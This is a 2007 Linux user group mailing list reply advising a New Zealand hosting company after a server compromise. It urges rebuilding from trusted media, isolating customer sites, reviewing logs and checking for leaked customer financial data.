[nzlug] Urgent: Load balancing / network monitoring / security

[Jim Cheetham]

On 16/09/2007, Hosting Direct Ltd <ben at hostingdirect.co.nz> wrote:
> Anyway, down to the reason of this mail, I am looking for some advise from
> someone who knows what to do in these situations, I am happy to pay for your
> time for consulting...

There is no short-term fix. Your machines OS and data are effectively
lost. Your backups are probably untrustworthy, not least because you
don't seem to know *when* your problems started - all you know is when
your systems became unavailable. In order to be safe in the future,
you have to figure out how the incursion(s) started, and how they can
be prevented from happening again. How long will it take you to do
that? Will you lose customers before then? Are you confident that no
customer credit-card or bank details have been compromised?

Almost definately it started because a hosted site of yours had some
terribly easily exploitable PHP code, and there was insufficient
separation between hosted sites that allowed the attacks to escalate.

Rebuilding your systems from a trusted source (usually the OS install
CD) and then reinstating your configurations will not be enough if
your basic architecture allows another attack to succeed again. So as
a minimum you need customer sites to be chroot jailed from each other,
or perhaps in separate virtual machines (Xen, VMWare, Solaris zones,
whatever)

You named some basic security and sysadmin tools, but none of these
have anything to do with keeping attackers off your machines. They are
useful for other reasons. Have you reviewed *every* ssh, FTP and HTTP
log on your systems to see what attacks are being made? Can you review
them *in real time* to detect and respond to attacks as they appear?

> At the moment I am looking into exinda.com appliances to take over nagios2's
> job and policy control, snmp and network security, is this the right move?
> Go for the corporate solutions EEK!?

No, it's irrelevant to your current problems.

-jim